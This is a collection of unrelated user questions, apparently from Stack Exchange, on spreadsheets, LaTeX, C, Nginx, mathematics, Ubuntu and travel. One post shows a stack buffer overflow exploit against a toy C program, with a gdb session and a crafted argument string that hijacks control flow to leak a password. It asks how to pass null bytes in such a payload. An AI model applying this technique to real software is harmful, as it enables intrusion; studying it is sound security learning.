I am to store international standard phone numbers (starting with a plus sign followed, usually, by plain numbers) in a Google spreadsheet column. An example of such a phone is  +420123456789   When I enter this phone it turns to just 420123456789 to be seen in the cell and =420123456789 to be seen in the formula/value bar. I would like to disable this conversion.  I've tried using Format → Numbers → Plain text applying it to the whole column as well as to the particular cell but it doesn't seem to work.  Any ideas how to overcome this?


Finder -- "Open file with..." offers incorrect list of candidate apps

When I right-click -> "Open with" -> ...  I see an option for atom 1.19.3 and 1.19.1.  However Spotlight locates only one Atom.app (which is found in Applications).  Opening with 1.19.1 succeeds. However it turns out my version of Atom is actually 1.19.3.  Opening with 1.19.3 however fails to do anything.  I notice from the same screenshot there is a similar duplication going on with VSCode.  What is the problem with my system?  And how to repair it?


WINE Not visible, yet when I try to install it says already installed

Ubuntu 17.10  I am not able to launch WINE to install Windows programs. When I do try to install WINE it says already installed.


What is the best way to slurp a file into a string in Perl?

Yes,  but there must be a canonical or most efficient or most concise way. I'll add answers I know of and see what percolates to the top.  To be clear, the question is how best to read the contents of a file into a string. One solution per answer.


When is $\mathbb{F}_p[x]/(x^2-2)\simeq\mathbb{F}_p[x]/(x^2-3)$ for small primes?

I've been considering the rings $R_1=\mathbb{F}_p[x]/(x^2-2)$ and $R_2=\mathbb{F}_p[x]/(x^2-3)$, where $\mathbb{F}_p=\mathbb{Z}/(p)$.   I'm trying to figure out if they're isomorphic (as rings I suppose) or not for primes $p=2,5,11$.   I don't think they are for $p=11$, since $x^2-2$ is irreducible over $\mathbb{F}_{11}$, so $R_1$ is a field. But $x^2-3$ has $x=5,6$ as solution in $\mathbb{F}_{11}$, so $R_2$ is not even a domain.  For $p=5$, both polynomials are irreducible, so both rings are fields with $25$ elements.  I know from my previous studies that any two finite fields of the same order are isomorphic, but I'm curious if there is a simpler way to show the isomorphism in this case, without resorting to that theorem.  For $p=2$, neither ring is even a domain as $x=0$ is a solution of $x^2-2$ and $x=1$ is a solution for $x^2-3$, but I'm not sure how to proceed after that. Thank you for any help.


Authorindex with natlib fixes do not work

I want to use author index with natbib. An example below (with the fix of the author index package) does not work. The fix of  does not work either (with \cite the .idx and .ind files are empty and \aicite gives "Paragraph ended before \@citex was complete.")    \documentclass{article} \usepackage{natbib} \usepackage{authorindex} \let\cite=\aicite \makeatletter % natbib.cfg (copy/pasted from authorindex 2005/03/22 user manual) \AtBeginDocument{% \@ifpackageloaded{authorindex}{%   \ifNAT@numbers     \let\org@@citex\NAT@citexnum   \else     \let\org@@citex\NAT@citex   \fi   \def\@citex[#1][#2]#3{%     \typeout{indexing: [#1][#2]{#3}}%     \org@@citex[#1][#2]{#3}%     \@aicitey{#3}}%   \renewcommand\NAT@wrout[5]{%      \if@filesw{%        \let\protect\noexpand\let~\relax        \immediate\write\@auxout{\string\aibibcite{#5}{#1}}%        \immediate\write\@auxout{\string\bibcite{#5}{{#1}{#2}{{#3}}{{#4}}}}}%      \fi}}{}} \renewcommand\NAT@index{\@bsphack\begingroup    \def~{\string~}\@wrindex{\NAT@myidxtxt}} \newcommand\NAT@myidxtxt{\NAT@name} \makeatother \begin{document} Infinite descent \cite{Fermat1659-DescInf}  \bibliographystyle{plain} \bibliography{\jobname}  \printauthorindex  \end{document}  xeLatex, bibtex, xeLatex, xeLatex works without authorindex the following lines being commented out: %%%\usepackage{authorindex} %%%\let\cite=\aicite %%%\printauthorindex  xeLatex produces the following error with authorindex after \cite{Fermat1659-DescInf}:  Runaway argument? ]{Fermat1659-DescInf}\@aicitey {Fermat1659-DescInf}  ./authorindex-natbib.tex:27: Paragraph ended before \@citex was complete. <to be read again>                     \par  l.27   %%% File authorindex-natbib.bib %%% @unpublished{Fermat1659-DescInf,    author =  {De Fermat, Pierre},    title =   {Relation des nouvelles d\'ecouvertes en la science des nombres},    month =   {August },    year =    1659,    note = {Lettre \`a {Pierre de Carcavi}}, } %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


Program in C logical operators not working correctly

In the prompt2 function I have two if statements. First adder will call prompt2. When I press 'x' or 'X', why does it still go to the first 'if' statement, and then it prints, "Answer is..", even though by pressing x, it should've terminated? Essentially I want it to where if you press 'x' or 'X', the program just terminates. Also I'm not in main either, so how can I terminate it from a function that isn't main? If you need more code, I can edit, just let me know.  int prompt2(int sum) {     char choice; // what the user decides, continuing or not      printf("\nBefore you continue, take a look at my number guess written down on paper.");     printf("\nPress 'D' to display the answer or 'X' to exit: " );     scanf("%c", &choice );      if ( choice == 'D' || 'd' ) {         printf("\nAnswer is %d", sum );     }     else if ( choice == 'X' || 'x' ) {         exit(0);      }       return 1;  }  int adder( int x, int y ) {      int sum = 0;      sum = x + y;     printf("new sum is %d\n", sum );     printf(" %d\n+%d\n----\n?", x, y ); // output appropriate line breaks and spacing for equation      prompt2(sum); // function that asks them if they want to see the answer     return sum;  }


Subgroup of $C^*$ (nonzero complex) with finite index.

True or false:  Let $C^*$ be the set of all nonzero complex numbers and $H$ be a subgroup of $C^*$(with respect to multiplication) be such that $[C^*:H]$ is finite then $H=C^*$.  I'm guessing it true as I am thinking that if suppose there is such a proper subgroup $H$ for which the number of coset will be finite then I'm guessing that there is a gap between $C^*$ and $H$ and that gap cannot be filled up by finite union.  But I am unable to give a concrete prove. Thanks in advance.


What are the chances to find a wild shiny Pokémon in XY & ORAS?

I've been seeing people getting millions of shiny Pokémon in X & Y without effort. My first shiny on Pokémon X (Corsola) also took only 93 fishing encounters.  I'm wondering: is the chance of finding a shiny in Pokémon X & Y better than it used to be?   If so, what is the chance to find a wild shiny in X & Y? How does it compare to the previous games in the series)?


If I have the move gizmo on it restricts me from selecting a vertex that is below one of its axis lines. Also if I have a vertex selected and I want to drag around another vertex then it is interpreted as a move on the vertex that is selected.  I checked the preferences but could not find anything that would do the trick.  thank you


How to blend a picture's white with a slightly different white

Want to make a banner combining these two images. Clearly the image on the left has a different background (in a square) to the one on the right which I am trying to get rid of and make it look natural. To make it seem like it is one image with the same background. I do not know the quickest/most efficient way in doing this. Any help would be fantastic.


I am new to configuring Nginx servers and I've been bashing my head against a wall for a few days now. I know it's been asked a lot and even though I've read all the answers, the Nginx documentation and whatever else I could find out there I couldn't get to the bottom of this.  server {    listen 80;     root /var/www/gofive;    index index.html indx.htm;       server_name gofive.justadev.com localhost 127.0.0.1;     location /webhooks/ {       root /var/www/webhooks;    } }   My intention is is to serve content from a different directory when requests are made to /webhooks/. I've tried many variations of this configuration file but every request I make to /webhooks/ is a 404. Am I doing something wrong? I've also granted 755 permission to everything under /var/www and restarted the Nginx service after each configuration change.  I am running Nginx on an Ubuntu 14.04 LTS distro.  The /var/www/webhooks dir contains just a simple index.html file. After checking the error logs, I found this error:  2015/10/23 20:06:33 [error] 24723#0: *1 "/var/www/webhooks/webhooks/index.html" is not found (2: No such file or directory), client: [my_ip], server: gofive.justadev.com, request: "GET /webhooks/ HTTP/1.1", host: "gofive.justadev.com"   Apparently it repeats the /webhooks/ part on the file system. Why is this happening?


What is the difference between  There got to be something wrong with him.   There's got to be something wrong with him.  I don't understand the function of 's.


How do I debug an exe running through Windows Scheduler?

I'm using Windows Scheduler to run an exe I have written.  How can I jump into a debug session when the scheduler starts my exe?  Update 1.  I had thought of doing a Thread.Sleep and then Attach to Process. When I tried it, it says Debugger is already attached to process...


What should I do when a user stops responding to me in comment?

I meet this situation sporadically (example , ). Although I'm sure that they do receive notifications of my reply, I think they just decide to ignore it. Or simply they are overwhelming with the notification or don't know how to answer my comment.   What are my options in this case?   Open a new related question?  Ping them in the comment to get their attention back? It works sometimes (like , I deleted the ping comment when they get back), but I feel it's like an help vampire. Make a slight edit or bounty? Sometimes it seems that the answerer is the only one who can answer or interest the topic. If they don't get back, no one will get back.


I have a Tier 4 Student Visa for the UK and am an Indonesian national studying in NYU London for 6 months.    What will I need to ensure and provide to make sure I get the multiple entry visa as well as anything I should do to increase my chances?     I'm planning on applying through the Czech embassy in London as it will be my point of entry and the country I'll be spending most of my time in for the Schengen area.


I run 40 hours a week? (or) I run 40 hours per week?

I run 40 hours a week?  or  I run 40 hours per week?    [h/week] - hours a week  or  [h/week] - hours per week  Which one is "more" grammatically correct. I often see both of them being used.


How can I remove zenmap that I installed using :  bzip2 -cd nmap-7.00.tar.bz2 | tar xvf - cd nmap-7.00 ./configure make sudo make install


What is the best way to use quotation mark glyphs?

There are several types of  in the English language (and in other languages there are even more). There are also several ways in LaTeX to represent these. I have seen editors, that are capable of directly entering “ and ”. And I have also seen things like this `''.  So, what is the best way to do English quotation marks in LaTeX?


Getting the count of a shortcode that is nested

Let's say I have nested shortcode where the outmost shortcode is just HTML but the inner one is the one who displays the data.  [outer_shortcode][inner_code url="#" title="Hello"][/outer_shortcode]   In this case, the count of inner items is one. In the following one:  [outer_shortcode][inner_code url="#" title="Hello"][inner_code url="#2" title="Hello2"][/outer_shortcode]   The inner count is two.  How can I determine this on the functions that I work with?  I currently have (outer shortcode that calls the inner):  return '

'.do_shortcode($content).'

';   And as inner:          $the_stuff .= '
';              $the_stuff .= ''.$title.'';         $the_stuff .= '
';          return $the_stuff;   That's what I want. To count the list items. How can I accomplish this?


Showing that the product and metric topology on $\mathbb{R}^n$ are equivalent

I'm new to topology, and can't figure out why the metric and product topologies over $\mathbb{R}^n$ are equivalent.  Could someone please show me how to prove this?


Input script of Mix Shader node for create link?

I am scripting an add-on and I need to create link between Glossy BSDF node and Mix shader node's "shader" material_realistic_gold.node_tree.links.new(BsdfGlossy3_node.outputs[0], MixShader_node.outputs.inputs[0]) This is not working and get an error Python: Traceback (most recent call last):   File "C:\Users\Yeung\Downloads\Shader 1.0\Script 001.blend\test.py", line 237, in execute AttributeError: 'bpy_prop_collection' object has no attribute 'inputs'  location: <unknown location>:-1   What is the script of input shader of Mix material node?


We get various distros like kubuntu/ubuntu/lubuntu/edu/etc... for free. We get critical updates constantly. We can download any programs we want from Ubuntu repos. Gee, I can't even imagine what kind of a CDN network you gotta have to support all this. Also, Ubuntu has a lot of people working for them:   Can someone explain how this is possible financially?


MOSFETs: Gate-to-Source resistor and Gate resistor value calculation

I want to control several Mosfets through a microcontroller. I have a low-power application in mind, therefore the power consumption should be minimized.   When do I need a Gate-Source-Resistor, and when not? How to calculate the value for minimum power consumption? Regarding the gate resistor, Does it make a difference in terms of power consumption, if I choose a 100 ohms resistor vs. a 1k ohm resistor?   Added schematic (Dx-pins: digital pins from microcontroller):


What can an app do with the "USE ACCOUNTS ON THE DEVICE" permission?

Can such an app freely read my emails/calendar/message/docs/etc.?  The "USE ACCOUNTS ON THE DEVICE" permission is also known for developers as .  Example of such apps: , .


Help proving the primitive roots of unity are dense in the unit circle.

I'm having difficulty understanding how to prove that the primitive roots of unity are in fact dense on the unit circle. I have the following so far:  The unit circle can be written $D=\{x\in\mathbb{C}:|x|=1\}$. The set of primitive $m$-th roots of unity is $A_m=\{\zeta_k:\zeta_k^m=1,\zeta_k\text{ is primitive}\}$.  Hence, the set of all primitive roots $A$ is given by the union of $A_m$ over $m=1,2,3,\ldots$. But I can't seem to get started on how to prove that $A$ is dense in $D$.


Suddenly, java stopped opening jars. Every time I use java jar I get this:  ~$ java jar Error: Could not find or load main class jar Caused by: java.lang.ClassNotFoundException: jar   How to solve this?  I use Ubuntu 19.04  ~$ java --version openjdk 11.0.3 2019-04-16 OpenJDK Runtime Environment (build 11.0.3+7-Ubuntu-1ubuntu219.04.1) OpenJDK 64-Bit Server VM (build 11.0.3+7-Ubuntu-1ubuntu219.04.1, mixed mode, sharing)


Assigning a pointer to another pointer crashes

I am trying to assign the pointer y to pointer x,   *x = *y but it crashes if testChar is pointer.   char *testChar = "abc"; char *x = testChar; char *y = testChar + 1; char temp; temp = *x; *x = *y; *y = temp;   If I change the code as char testChar[] instead of *testchar its working good.  Could any one explain me the differences?


Would it be possible to have a Question Template for new users?

I was wondering if it was possible to have a question template for new users.  I was thinking of something simple, where, for example, in the first 2 sentences they have to enunciate what their issue is, and then have a full description of the problem, and possibly, at the end, have a 2 lines section with some "final remarks"?  I have seen many questions that are very long and it is hard to know what the issue the OP has.  I think it is something you learn with experience, I have done it myself, and sometimes still struggle with, but at least I am aware of.   For new users it could be useful to have a reminder of a good way to structure a question.  Do you think this would be useful? Or even possible to implement?


A question about Vce of an NPN BJT in saturation region

Below is an NPN transistor symbol and the voltages at its terminals are Vb, Vc and Ve with respect to the ground:    I read that: during the saturation the Vce = (Vc-Ve) settles to around 0.2V and the further increase in base current will not make Vce zero.  But why doesn't Vce become zero?  As far as I know: when the transistor is saturated, the base-collector junction turns on, like a diode, so the collector voltage will follow the base voltage increase, only it will be a diode-drop below. But the same thing happens between the base voltage and the emitter voltage. So at saturation and beyond one can write the following(?):  Let's call the diode drop as Vd between p and n junctions, so the collector and the  emitter voltages can be re-written in terms of the base voltage as:  Vc = Vb- Vd  Ve = Vb -Vd  Vce = Vc -Ve = 0  Where am I wrong here?


I have installed the  module. I am trying to programmatically load profiles. The code works, but I am not able to access any field value. class IdCardController extends ControllerBase {    /**    * Init id card download.    */   public function initDownload(User $user) {          $user_profile = $this->entityTypeManager()->getStorage('profile')->loadByProperties([       'uid' => $user->id(),       'type' => 'personal_information',     ]);     kint($user_profile);   } }  Using kint(), I can see all methods are protected.


Show that for every compact subset $B$ of $X$ disjoint from $A$ $\mathrm{dist}(A,B)>0$.

Let$(X,d)$ be a metric space, $A$ nonempty, compact subset of $X$. Let $$\mathrm{dist}(A,B)=\inf_{\substack{a\in A\\b\in B}}d(a,b).$$ I want to show that for every compact subset $B$ of $X$ disjoint from $A$ $\mathrm{dist}(A,B)>0$. I tried to show it using the extreme value theorem. Since $A,B$ are compact, then so is $A\times B$, $D:A\times B\to (0,\infty)$ defines a metric on $A\times B$, so if $f:A\times B\to (0,\infty)$, $\inf f = \mathrm{dist}(A,B)$ showing that $f$ attains it's minimum, that is $\inf f = \min f$ would complete the proof, but I'm not sure how to show $f$ is continuous. Any hints? Edit: I'm familiar with that linked proof, but I was trying to use a different method, using extreme value theorem, but I'm not quite sure how to prove continuity of $f$ for $D((a,b),(c,d))=d_1(a,c)+d_1(b,d)$.


A and B disjoint, A compact, and B closed implies there is positive distance between both sets

Claim: Let $X$ be a metric space. If $A,B\in X$ are disjoint, if A is compact, and if B is closed, then $\exists \delta>0: |\alpha-\beta|\geq\delta\;\;\;\forall\alpha\in A,\beta\in B$.  Proof. Assume the contrary. Let $\alpha_n\in A,\beta_n\in B$ be chosen such that $|\alpha_n-\beta_n|\rightarrow0$ as $n\rightarrow \infty$.  Since A is compact, there exists a convergent subsequence of $\alpha_n\;(n\in\mathbb{N})$, $\alpha_{n_m}\;(m\in\mathbb{N})$, which converges to $\alpha\in A$.  We have   $$|\alpha-\beta_{n_m}|\leq|\alpha-\alpha_{n_m}|+|\alpha_{n_m}-\beta_{n_m}|\rightarrow0 \;\;\;as\;\;m\rightarrow\infty.$$ Hence $\alpha$ is a limit point of B and since B is closed $\alpha\in B$, contradiction.  Is my proof correct? I feel as though I am missing something simple which would trivialize the proof.


What should I do if I don't want a question to be associated with this account?

I have several questions that I want to ask that I don't want to be linked back to me by the people about whom I'm asking*, who might recognize my username. There are others that would require disclosing personal information that would be just fine on its own, but that I don't want to be associated with my username.  I understand that questions can be dissociated from the OP by a moderator, but as far as I can tell that is a retroactive measure. If I know beforehand that the question is best not associated with my account, what is the best course of action?  *These are complex situations and taking the risk of them making the connection is not the right course of action.


Background: One of my co-authors faced problem of compiling the paper that I had built using TexStudio and MikteX 2.9 on his Mac Machine running TexLive.   ShareLaTeX Role: So, one solution is to use ShareLaTeX. But the first problem pops in mind is how safe is uploading unpublished article to a publicly accessible portal?  What I did: I googled security and data breach of ShareLaTex and found nothing except some words from the ShareLaTex community about their word to ensure that our data are safe; perhaps this would not be enough.  My 1st Question: To what extent can I trust ShareLaTeX and put my ready-to-publish content there?   My 2nd Question: Is there any alternate way of sharing LaTeX with others around the globe without changing the underlying platform?


Why Pseudo/Fictious Forces act at centre of mass

I was reading about torque and pseudo forces and my book says that the torque about centre of mass for a  Pseudo/Fictious force is zero.  I cant really get that as it is non-intuitive for me .  Can someone explain it in a simple manner.  Any help is appreciated


Reinstalling windows, can I reuse the product key?

I have a laptop with Windows 8.1 installed, which has a lot of bugs and I'm thinking to reinstall it from scratch. The recovery tool doesn't work either, so the only option that comes to my mind is to use a USB bootable key to reinstall Windows 8.1; but the problem is that it will probably ask me for the product key. Is there a way to reuse the old one?


Proof of isomorphism between $D_{2n}$ and $D_n \times Z_2$ for $n$ odd

If we define a function $\phi : D_{2n} \rightarrow D_n \times Z_2$ for odd $n$ and we want to show that it is an isomorphic function, I am not very sure how to do it.  We know that $D_{2n} = \{e, r, \ldots, r^{2n-1}, s, rs,\ldots, r^{2n-1}s\}$ and $D_n = \{e, t, \ldots, t^{n-1}, u, tu, \ldots, t^{n-1}u\}$.  I think that if we define $\phi(r) = (t, 1)$, then we can show that it is a homomorphism by showing that $\phi(r)\phi(r) = (t, 1)(t, 1) = (t^2, 0) = \phi(r^2)$, but I do not know if this is enough already or if I have to do it for all possibilities?!  And then the bijection. I know that it is injective if $\phi(a) = \phi(b) \iff a = b$, but how do I prove it in this particular example? And how do I show that every element of $D_n \times Z_2$ has an element in $D_{2n}$ to prove surjectivity?


Do I lose dynamic range or detail when converting from CR2 to DNG?

I have CS5.1 which does not support Canons RAW format using Camera RAW on a 60D, so I must change to DNG format before using CS5.1  Do I lose any quality or dynamic range from this conversion?


Change the "under review" date after revision

I submitted a paper to a journal in Springer system. After a revision, I resubmitted the revised paper to the system, and the system change the status to "Under review" on Nov 24. After that, the status didn't change but the date was changed to Dec 06.  I wonder that what can cause this situation?  Thanks.


Linear Regression of Indicator Matrix: sum of predictions is 1

In Element of Statistical Learning, chapter 4-2 about linear regression of an indicator matrix, it is stated that the sum of predictor is equal to 1.  To bring a bit of context: We have $N$ training samples of size $p$ represented by a $N$ x $(p+1)$ matrix (intercept included) $\textbf{X}$. Each training sample $x_i$ belong to a category $g_i \in [| 1, .., K |]$. We use the $N$ x $K$ indicator matrix for the training samples which contains only one 1 per row. We try to fit a linear regression model for the parameter $\textbf{B}$ and we get $\hat{\textbf{B}} = (\textbf{X}^T\textbf{X})^{-1}\textbf{X}^T\textbf{Y}$.  For a new data, we compute the fitted output $\hat{f}(x)^T = (1,x^T)\hat{\textbf{B}}$ and the category is then $arg \max_{k \in [| 1, .., K |]} \hat{f}_k(x)$  They say that $\sum_{k \in [| 1, .., K |]} \hat{f}_k(x) = 1$ for any $x$  as long as there is an intercept in the model.  My question is thus why? I try to use the coefficient relation from the regression derivation ($\textbf{X}^T(\textbf{Y} - \textbf{X}\hat{\textbf{B}}) = 0$) but without success.


Why is diamond transparent while graphite is not?

Diamond and graphite are both made of the same atom, carbon. Diamond has a tetrahedron structure while graphite has a flat hexagonal structure. Why is diamond transparent while graphite is not (at least not with more than a couple of layers)?


How do I transfer regular savings to an NRE or NRO account?

I have a regular saving account with some amount in it, now I am an NRI so I want to either switch my saving account to NRE account or I want to transfer money from savings account to an NRE or NRO account.   How do I do this? Will money transferred to an NRO account be taxable? Do I need to pay tax on transferred money to an NRO account? How much would that tax be for transferred money to an NRO Account?  What's the best way to get that money to an NRE account?


Recently, my laptop has started turning off for no apparent reason; it's an old laptop and the problem is likely to be a hardware issue, but I was wondering if there were any Ubuntu logs that might shed some light on the issue?


Why are Rin's friends still mad over the fact that he is the son of Satan in season 2?

In season 2 episode 1, Rin's friends are still mad over the fact that he is the son of Satan.  Isn't this already over/resolved in season 1?


Apache shows index of/ instead of default index html

I installed apache2 on my Ubuntu 13.10 and it works without any problems. I can see the default index page (which is located in /var/www/index.html) by typing localhost/ in the address bar    Today, after I upgraded my Ubuntu to 14. 04 the localhost server doesn't work any longer and shows index of/ page instead    I have tried to reinstall everything (including php5, phpMyAdmin, and MySQL) but the problem is still there. How do I fix this?


Where should I ask a broad programming question?

I would like to ask this question, but I am not sure to what community it belongs:     I've been a frontend developer for some years, but sometimes I'm still   in doubt as to which HTML tag to use in a certain situation. Do you   know of any books or websites that gives authoritative explanations of   the most important tags and their usage? (I am looking for some more   synthetic resource than the w3 specification itself, as I find it most   of the times long-winded)   This doesn't seem to fit stackoverflow, because it's not a specific programming problem. I would like to gather resources on the matter: is there any community where this question would fit?


Ubuntu 14 Android Studio 3 xrdp /dev/kvm permission denied

I'm running an Ubuntu Server VPS with 4 dedicated cores and 4GB or ram   lsb_release -a    says I'm running   Description: Ubuntu 14.04.5 LTS  Codename: trusty   I've installed Android Studio 3.0.1 I more or less followed this  just got the latest version. the install when smoothly.   I then installed xrdp and xfce4, and I'm not having any issues with the remote connections  I launch android studio with the following command from an elevated terminal window in rdp  sudo ~/bin/android-studio/bin/studio.sh   the command outputs  Error parsing gtk-icon-sizes string: ''   but android studio runs fine and allows my to make projects and code so I tried compiling the hello world app and running it in a ADV after creating an android virtual phone and trying to run I get the following error  KVM is required to run this AVD. /dev/kvm device: permission denied Grant current user access to /dev/kvm   I've run   usermod -aG kvm *username* usermod -aG libvirtd *username" adduser *username* kvm adduser *username* libvirtd adduser *username* xrdp chmod +x /dev/kvm chown *username* /dev/kvm chmod -R 777  /dev/kvm   I rebooted the VPS after each of the commands and I still get the KVM permission denied error   When I run     sudo kvm-ok     INFO: /dev/kvm exists     KVM acceleration can be used   However if I just run  kvm-ok  bash: kvm-ok: command not found   I've been trying to figure this out for hours now and have only found stuff telling me to add the user to kvm and/or libvirtd groups any help would be greatly appreciated.  Update:  Looking into this some more    cat /proc/cpuinfo | grep 'name'| uniq   model name : Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz   so I ran   sudo modprobe kvm-intel modprobe: ERROR: ../libkmod/libkmod.c:507kmod_lookup_alias_from_builtin_file() could not open builtin file '/lib/modules/3.13.0/modules.builtin.bin'   this lead to me trying  depmod -a depmod: WARNING: could not open /lib/modules/3.13.0/modules.order: No such file or directory depmod: WARNING: could not open /lib/modules/3.13.0/modules.builtin: No such file or directory   here is the out put of ls -al /lib/modules/3.13.0/  drwxr-xr-x 2 root root  4096 Dec 12 01:08 . drwxr-xr-x 5 root root 12288 Dec 11 18:11 .. -rw-r--r-- 1 root root    45 Dec 12 01:08 modules.alias -rw-r--r-- 1 root root    12 Dec 12 01:08 modules.alias.bin -rw-r--r-- 1 root root     0 Dec 12 01:08 modules.builtin.bin -rw-r--r-- 1 root root     0 Dec 12 01:08 modules.dep -rw-r--r-- 1 root root    12 Dec 12 01:08 modules.dep.bin -rw-r--r-- 1 root root    52 Dec 12 01:08 modules.devname -rw-r--r-- 1 root root   131 Dec 12 01:08 modules.softdep -rw-r--r-- 1 root root    49 Dec 12 01:08 modules.symbols -rw-r--r-- 1 root root    12 Dec 12 01:08 modules.symbols.bin   so I was thinking there was an error with my linux image, but  sudo apt-get install linux-generic Reading state information... Done linux-generic is already the newest version. 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.   not sure what to fix but I think I'm getting closer to figuring out the issue at least


How to replace a line in a csv file without sed

I have a csv file and I want to replace a line (remove it and add new information in its place) but I can't use sed. I don't know, my bash terminal doesn't support it. Let's say the csv file is like this:   a,b,c d,e,f   I want to remove the line d,e,f and add g,h,i, for example.


These Edges from Edit Mode are screwing up my Subdivide. What are they and how do I get rid of them?


Why are so many StackExchange websites focused on programming?

I went through the list of SE sites and counted every one which seems to be related to programming. By my count, 40 of the 125 sites - 32 percent - relate to programming or some sort of computing technology. This is probably an inaccurate count and you're welcome to disagree with individual examples, but it seems clear that SE has a focus on programming and computing.   Stackoverflow Serverfault Superuser Game development TeX - LaTeX Unix & Linux Cross Validated Web Applications Webmasters Ask Ubuntu Theoretical Computer Science Stack Apps Programmers Android enthusiasts Information security Database administrators Code review Programming Puzzles & Code Golf Drupal Answers SharePoint Computational Science Computer Science Signal Processing Cryptography Windows phone Raspberry Pi Robotics ExpressionEngine Answers Magento Tridion Network Engineering Open Data Blender Sound Design Tor Software Recommendation Arduino Joomla Data Science Craft CMS   I'm curious as to why this is the case, especially why SE has many websites dedicated to individual technologies like Arduino, Tor and SharePoint, which seems to be very localised. And there are  that are far more holistic and broadly applicable than some of the websites in this list (Economics, LGBT+ and Korean for example.)  Note that I'm not necessarily complaining that SE has a computing focus. I'm more interested in why this is the case, if there is any reason at all. Did Jeff et al. have this goal in mind when creating the SE network? Or is it because the plurality of users on Area51 are more interested in computing/programming topics?


Can't create singleton class using reflection

I'm trying to create a class from a singleton class using reflection, but it doesn't work. My SingletonClass looks like this.  public class SingletonClass implements IHashBehaviour { private static SingletonClass singleTon=null;  private SingletonClass () {     // TODO Auto-generated constructor stub }  public static synchronized SingletonClass newInstance(){     if(singleTon == null){         SingletonClass .singleTon=new SingletonClass ();     }     return singleTon; } }  public static SingletonClass create(SingletonClassType type){     SingletonClass obj=null;     Class<?> c;     try {         c = Class.forName(type.getFullQualName());         obj=(SingletonClass)c.newInstance();     } catch (ClassNotFoundException e) {         // TODO Auto-generated catch block         e.printStackTrace();     } catch (InstantiationException e) {         // TODO Auto-generated catch block         e.printStackTrace();     } catch (IllegalAccessException e) {         // TODO Auto-generated catch block         e.printStackTrace();     }     return obj; }   The method getFullQualName returns the package, like this "model.SingletonClass". I understand why this won't work because in the factory, the newInstance method looks for the default constructor but that one is private. i need to call the newInstance method from the Singletonclass itself.


Travelling to Delhi from Berlin with transit in London Heathrow

I am an Indian citizen traveling to Delhi via the UK. I have a Permanent Residence in Germany along with US and Canadian visas. Do I need a transit visa as the ticket is issued by British Airways and Virgin Atlantic? Do I need to go landside because of 2 different carriers?  Edit: Also, what happens in case of a missed connection as the airlines don't have a codeshare agreement. Does the interline agreement cover missed connections in such a booking?


Where Is The Problem In Proving $1=2$ Through Continued Fractions

I can't seem to figure out why the proof is false. Everyone knows that $1 \ne 2$ and that $1=2$ is only proven through mathematical fallacies.  However I can't figure out where the problem is in the following fallacy:    Observe that  $$1=\frac{2}{3-1}$$  Substitute $\frac{2}{3-1}$ for the $1$ in the denominator  $$1=\frac{2}{3-\frac{2}{3-1}}$$  Substitute again $$1=\frac{2}{3-\frac{2}{3-\frac{2}{3-1}}}$$  Therefore $1$ can be written as the infinite fraction: $$1=\frac{2}{3-\frac{2}{3-\frac{2}{3-\ldots}}}$$  Now notice that $$2=\frac{2}{3-2}$$  Substitute 2 similar to how 1 was substituted above  $$2=\frac{2}{3-\frac{2}{3-2}}$$  And through repeated substitution we get $$2=\frac{2}{3-\frac{2}{3-\frac{2}{3-\ldots}}}$$  Notice that $1=\frac{2}{3-\frac{2}{3-\frac{2}{3-\ldots}}}$ and $2=\frac{2}{3-\frac{2}{3-\frac{2}{3-\ldots}}}$  Therefore, $1=2$    Just looking at this I know that it cannot be true. But they both seem to share the same infinite fraction, so what is it that I am missing?


I have a camera and I want to move it with the mouse and also move a character, but when I try to move the character it moves to another. I don't know how to explain better. XD. Please help. Thanks.


How to pass zeroes in the argument to the program

I have this program in C.  #include <stdio.h> #include <string.h>  char * pwd = "pwd0";  void print_my_pwd() {   printf("your pwd is: %s\n", pwd); }  int check_pwd(char * uname, char * upwd) {   char name[8];   strcpy(name, uname);    if (strcmp(pwd, upwd)) {     printf("non authorized\n");     return 1;   }   printf("authorized\n");   return 0; }  int main(int argc, char ** argv) {   check_pwd(argv[1], argv[2]);   return 0; }   I build it and examine it for buffer overflow.   $ make gcc -O0 -ggdb -o main main.c -fno-stack-protector $ gdb main GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at:     <http://www.gnu.org/software/gdb/documentation/>.  For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from main...done. (gdb) b check_pwd Breakpoint 1 at 0x76c: file main.c, line 12. (gdb) run joe f00b4r42 Starting program: /home/developer/main joe f00b4r42 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12 12    strcpy(name, uname); (gdb) info frame Stack level 0, frame at 0x7fffffffd6d0:  rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef  called by frame at 0x7fffffffd6f0  source language c.  Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"  Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0  Saved registers:   rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8 (gdb) p &name $1 = (char (*)[8]) 0x7fffffffd6b8 (gdb) p &print_my_pwd $2 = (void (*)()) 0x55555555473a <print_my_pwd> (gdb) Quit A debugging session is active.      Inferior 1 [process 21935] will be killed.  Quit anyway? (y or n) y $ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B non authorized your pwd is: pwd0 Segmentation fault (core dumped) $    So it was possible to leak the secret from the program but what could I do if the address would have been 0x55555555003a instead of 0x55555555473a ? Then I would not know how to pass the zero because it would be represented as a null byte and the shell would not interpret that.


Is there a way to install Image Viewer and converter XnViewMP (or Xnview and XnConverter) in Ubuntu 18.04? Other described ways ( , ,  ,  ) seem not to work for me.  From  isn't work for me:  $ snap search xnview No matching snaps for "xnview"


CD digital audio ripping tool for OS X that has accurate extraction, error detection, and verbose reporting?

